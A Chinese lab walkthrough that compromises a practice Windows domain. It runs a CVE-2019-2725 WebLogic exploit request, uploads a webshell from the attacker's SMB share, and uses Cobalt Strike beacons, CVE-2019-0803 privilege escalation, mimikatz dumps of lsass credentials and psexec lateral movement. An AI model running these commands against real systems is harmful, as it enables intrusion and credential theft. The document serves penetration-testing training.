前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从外到内,靶场被你干翻了!

从外到内,靶场被你干翻了!

作者头像
安全小王子
发布2021-11-25 11:03:55
9200
发布2021-11-25 11:03:55
举报
文章被收录于专栏:betasecbetasec

配置信息

代码语言:javascript
复制
DC
IP:10.10.10.10  OS:Windows 2012(64)
应用:AD域

WEB
IP1:10.10.10.80  IP2:192.168.111.80  OS:Windows 2008(64)
应用:Weblogic 10.3.6  MSSQL 2008

PC
IP1:10.10.10.201  IP2:192.168.111.201  OS:Windows 7(32)
应用:

攻击机
IP:192.168.111.1OS:Windows 10(64)
IP:192.168.111.5OS:Kali

24.1.2 域环境初始化

修改虚拟机默认网络地址段。

修改网络地址段

修改NAT设置

修改DHCP

WEB主机必须恢复到快照“最新实验环境”,登录WEB主机启动服务。

默认密码是1qaz@WSX。

切换至WEB服务目录下启动WEB服务。

代码语言:javascript
复制
C:\Oracle\Middleware\user_projects\domains\base_domain

双击运行即可启动web服务。

DC主机恢复到快照 最新实验环境

默认密码是1qaz@WSX。

PC主机恢复到快照 最新实验环境

默认密码是1qaz@WSX。

输入域管理员账号:administrator,密码:1qaz@WSX

24.1.3 Kali环境准备

添加一块NAT模式网卡。

修改完成后直接开启虚拟机

24.2 weblogic漏洞利用并getshell

24.2.1 信息收集

全端口扫描

代码语言:javascript
复制
┌──(root💀xuegod53)-[~]
└─# nmap -p- -T5 192.168.111.80 -o web

注:

-p- 表示扫描所有端口;

-T5 指定扫描过程使用的时序,总共有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4。

-o 保存扫描结果到文件web

常用端口是开放状态1433是mssql,7001我们知道是weblogic服务,因为我们前面手工开启的。

这里常规测试就不检测了,我们启动weblogic服务时WEB主机是安装有数字卫士的,所以就不直接使用漏洞exp进行攻击了,正常情况下都是不可能成功的。

访问链接:

代码语言:javascript
复制
http://192.168.111.80/
http://192.168.111.80:7001/
代码语言:javascript
复制
http://192.168.111.80:7001/_async/AsyncResponseService

那既然系统问题我们不考虑,只能考虑weblogic服务漏洞了。找到WeblogicScan工具扫一下。

上传WeblogicScan-master.zip 到Kali

代码语言:javascript
复制
└─# unzip WeblogicScan-master.zip
└─# cd WeblogicScan-master/
└─# python3 WeblogicScan.py 192.168.111.80 7001

CVE 的英文全称是“Common Vulnerabilities & Exposures”通用漏洞披露。

可以看到一共存在2个CVE,我们使用CVE-2019-2725即可,该漏洞方便我们拿到shell。2729经测试是失败的,不晓得是否是数字卫士的问题。

CVE-2019-2725漏洞描述:这是一个Weblogic反序列化远程代码执行漏洞。部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

24.2.2 利用CVE-2019-2725获得shell

1、安装冰蝎

上传冰蝎 Behinder_v3.0_Beta_6_linux.zip 到Kali

代码语言:javascript
复制
┌──(root💀xuegod53)-[~]
└─# rz

解压冰蝎

代码语言:javascript
复制
└─# unzip Behinder_v3.0_Beta_6_linux.zip -d Behinder
└─# cd Behinder
└─# ls

更新日志.txt Behinder_v3.0_Beta6_linux.jar data.db server

注:暂时先不要启动冰蝎,我们需要先把/root/Behinder/server/shell.jsp webshell木马程序上传weblogic服务器上。然后再使用冰蝎连接shell.jsp木马程序。

2、启动smbserver共享文件服务,将/root/Behinder/server目录共享出去,共享的名称为share

代码语言:javascript
复制
─# impacket-smbserver share /root/Behinder/server  &

在win7或web虚拟机上访问:\\192.168.111.5\share 查看共享的内容

以下是基于CVE-2019-2725漏洞的POC攻击代码:

代码语言:javascript
复制
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.80:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: text/xml
Content-Length: 839

xx
xx
cmd
/c
copy \\192.168.111.5\share\shell.jsp servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\1.jsp

在Kali中打开BurpSuite,点Repeater,将适用于CVE-2019-2725漏洞的POC攻击代码复制到Repeater中进行发包。

设置目标主机端口

再次点击发送。

注:202状态码:Accepted 表示服务器端已经收到请求消息,但是尚未进行处理。但是对于请求的处理确实无保证的,即稍后无法通过 HTTP 协议给客户端发送一个异步请求来告知其请求的处理结果。这个状态码被设计用来将请求交由另外一个进程或者服务器来进行处理,或者是对请求进行批处理的情形。

启动冰蝎,连接上传的1.jsp木马程序

代码语言:javascript
复制
└─# java -jar /root/Behinder/Behinder_v3.0_Beta6_linux.jar  &

使用冰蝎进行连接:

代码语言:javascript
复制
URL:http://192.168.111.80:7001/_async/1.jsp
密码:rebeyond

连接shell.jsp(如果连接shell获取不到信息可以重新打开)

查看用户信息

接下,MK给你展示远程桌面,让我们通过图形界面,看看,大学的导员有没有在看苍老师电影?

可以:1 不可以:2

远程桌面需要CS工具。

远程桌面需要CS工具。开眼界:肉鸡上线, 团队做战,多人开战

24.3 域渗透-横向渗透获取域控最高权限

24.3.1 Cobalt Strike简介

Cobalt Strike是一款美国Red Team开发的渗透测试神器,最近这个工具大火,成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具,因此广受黑客喜爱,我们可以简称为CS。

一句话:CS是管理肉鸡的一个好工具。

24.3.2 Cobalt Strike部署

这里使用的版本为无后门无暗桩版本,大家可以放心使用。

代码语言:javascript
复制
┌──(root💀xuegod53)-[~]
└─# rz
代码语言:javascript
复制
└─# unzip CobaltStrike4.3.zip
└─# cd CobaltStrike4.3/
添加执行权限
└─# chmod +x cobaltstrike teamserver start.sh
启动服务端(命令+ip+密码)
└─# ./teamserver 192.168.111.5 123456  &

启动客户端

└─# ./start.sh &

用户名随意填写,CS支持多人协同工作,所有人的密码都是123456。

24.3.3 创建监听器

启动服务端的时候生成了一段hash确认hash没错点击确认即可。

创建监听

添加

生成exe程序

这里不建议使用x64,因为32位可以在64位运行。如果你明确知道对方是x64系统也可以生成64位。

24.3.4 普通用户提权-反弹SYSTEM权限的shell给cs服务

1、获得普通用户权限

修改BurpSuite数据包把web.exe拷贝到服务器,这里你也可以通过冰蝎上传exe文件。

修改数据包内容方式如下,直接修改文件名称重新发包即可。

冰蝎切换到我们上传文件的目录,运行web.exe返回一个de1ay用户的shell。

执行以下命令:

代码语言:javascript
复制
C:\Oracle\Middleware\user_projects\domains\base_domain>cd servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war>web.exe

打开会话窗口

设置命令执行周期,默认是60秒,我们修改短一些。否则每次执行命令要等60秒才会执行。

beacon> sleep 2

查看当前目录

beacon> shell dir

当前目录为

代码语言:javascript
复制
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war>

后期使用cs上传相关利用工具到此目录,在实际渗透中,最好将一些利用工具上传到比较隐蔽的位置。

查看当前用户身份,发现是WEB\de1ay普通用户

beacon> getuid

2、开始提权

上传相关利用工具到Kali

使用cs上传相关利用工具到目标机

代码语言:javascript
复制
beacon>upload /root/CVE-2019-0803.exe
beacon>upload /root/mimidrv.sys
beacon>upload /root/mimikatz.exe
beacon>upload /root/mimilib.dll
beacon>upload /root/procdump64.exe

或使用窗口方式上传:

查看已上传的利用工具

beacon> shell dir

注:procdump是微软官方的工具,用于导出进程内存,不会报毒被杀,CVE-2019-0803是目前比较新的提权工具,应用场景非常多,该工具已经过免杀处理,可以放心使用。如果mimikatz相关程序报毒,可以将dump下来的内存文件copy到本地,找一台系统相同的计算机进行解密。

前面知道系统没安装什么补丁。所以我们直接利用工具提权即可。

代码语言:javascript
复制
[01]: KB2999226
[02]: KB958488
[03]: KB976902

返回SYSTEM权限的shell

beacon> shell CVE-2019-0803.exe cmd "start web.exe"

等程序执行完成就会返回SYSTEM权限的shell,如果没有返回就重新执行,因为提权工具是有成功率的。

我们到SYSTEM会话中也设置一下: sleep 2

getuid 发现在我已经是admin

24.3.5 使用procdump64+mimikatz获取win用户明文密码

procdump64.exe介绍:它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。

lsass.exe 进程概述:lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。也就是说lsass.exe进程运行后,里面会保存用户帐号和密码信息。

基于刚获取的SYSTEM权限,来获取到lsass.exe 进程的内存文件。lsass.exe内存文件中会存储明文登录密码。

beacon> shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp

-accepteula参数:指定是否自动接受 Microsoft 软件许可条款。所有无人参与安装都需要此设置。

-ma 参数:生成full dump, 即包括进程的所有内存. 默认的dump格式包括线程和句柄信息.

解密,这里数字卫士没有拦击并不说明mimikatz是免杀的,实际环境如果mimikatz不是免杀的需要将lsass.dmp文件拖回本地放至相同的系统中进行解密。

利用mimikatz.exe从 lsass.dmp 里获取windows处于active状态账号的明文密码

beacon> shell mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >pass.txt

直接使用download命令下载,下载后会保存到程序目录的downloads目录。

beacon> download pass.txt

代码语言:javascript
复制
┌──(root💀xuegod53)-[~/CobaltStrike4.3]
└─# cd downloads/
文件名是随机字符串
└─# ls
ffc9a80c8
└─# cat ffc9a80c8

这里说明一下,如果你是直接恢复快照打开虚拟机,进入系统是可以读取到域管理员用户administrator,密码和mssql用户一样。

目前得到账户信息:

域用户名:de1ay\mssql 密码:1qaz@WSX

域用户名:de1ay\administrator 密码:1qaz@WSX #这是DC域管理员用户和密码

本地用户名:WEB\de1ay 密码:1qaz@WSX 该用户是系统本地登录系统用的。

24.3.6 域信息收集-找出域控制服务器主机名和IP

查看网络信息找到域控

beacon> shell ipconfig /all

DNS服务器10.10.10.10也就是域控。

查看域控制器

代码语言:javascript
复制
beacon> shell net group "domain controllers" /domain
代码语言:javascript
复制
主机名:DC,完整主机是:DC.de1ay.com
再确认主机名为DC的IP地址:
beacon> shell ping dc  
或:beacon> shell ping DC   

注:windows对字母大小,不敏感

查看域管理员:

beacon> shell net group "domain admins" /domain

24.3.7 生成管理帐号密码用户凭证-连接域控服务器-反弹域控shell

回到控制目标主机的初始用户账户下

beacon> rev2self

查看当前的权限:

beacon> getuid

通过前面获取到的DC的DE1AY\administrator账户信息,生成新的凭证。

beacon> make_token DE1AY\administrator 1qaz@WSX

创建新的监听。

名称就叫smb这个后面要用。

DC上线,jump会使用前面的凭证和smb监听器,完成登录DC的过程

beacon> jump psexec DC smb

或:jump psexec 10.10.10.10 smb #目标机器可以是DC主机名,也可以是IP

拿到域控基本上就可以为所欲为了,剩下的当做作业留给同学们。

24.3.8 扫描域内网其他机器-横向移动到其他机器上

1、扫描域内网其他机器

启动PC虚拟

选择任意一个台机器,右击,选择目录,端口扫描:

选择10.10.10.0网段,把ports清空,使用arp协议,对10.10.10.0网段进行扫描,探测活跃的机器。

发现在3以在线的机器:

发现了一台新的机器:10.10.10.201 ,这是我们刚才开的win7 pc虚拟机。

2、生成域用户凭证和监听器

选择拥有system权限的会话,这个会话之前已经完成以下两步骤:

(1)、域控制器用户DE1AY\administrator的凭证

beacon> make_token DE1AY\administrator 1qaz@WSX

(2)、还有smb监听器

DC上线,jump会使用前面的凭证和smb监听器,完成登录DC的过程

beacon> jump psexec DC smb

所以在域中横向移动时,可以直接使用,不要重新生域用户凭证和监听器

3、选择横向移动到另一个台机器

beacon> jump psexec 10.10.10.201 smb

后续还需要做权限维持,以及痕迹清理,这个任务就交给同学们了,非常简单。

梳理本次渗透流程,如下:

  1. namp找weblogic服务
  2. weblogicscan扫描漏洞,找到漏洞CVE-2019-2725漏洞
  3. 安装冰蝎软件
  4. 使用smbserver把冰蝎中shell.jsp木马共享出去
  5. 查找一个CVE-2019-2725漏洞的POC攻击代码
  6. 使用burpsuite运行CVE-2019-2725的POC代码,上传shell.jsp木马
  7. 冰蝎连接被攻击服务器上shell.jsp木马,获得普通用户shell权限

==以上已经拿到普通权限,接下来需要拿到内网的服务器和PC,而且要可视化显示拿到的肉鸡=

  1. 安装CobaltStrike软件
  2. 使用CobaltStrike软件生成木马web.exe
  3. 使用burpsuite运行CVE-2019-2725的POC代码,上传web.exe木马
  4. 使用CobaltStrike生成监听器,等待木马web.exe上线
  5. 在冰蝎终端上运行web.exe木马,开始上线木马
  6. CobaltStrike上传提权工具CVE-2019-0803.exe获得system权限
  7. 使用procdump64+mimikatz获得系统用户明文密码
  8. 域信息收集-找出域控制服务器主机名和IP
  9. 生成管理帐号密码用户凭证-连接域控服务器-反弹域控shell

注:具体渗透命令,大家可能记不住,但是渗透流程,一定要记住,这样后期渗透时,才能有思路!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-11-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档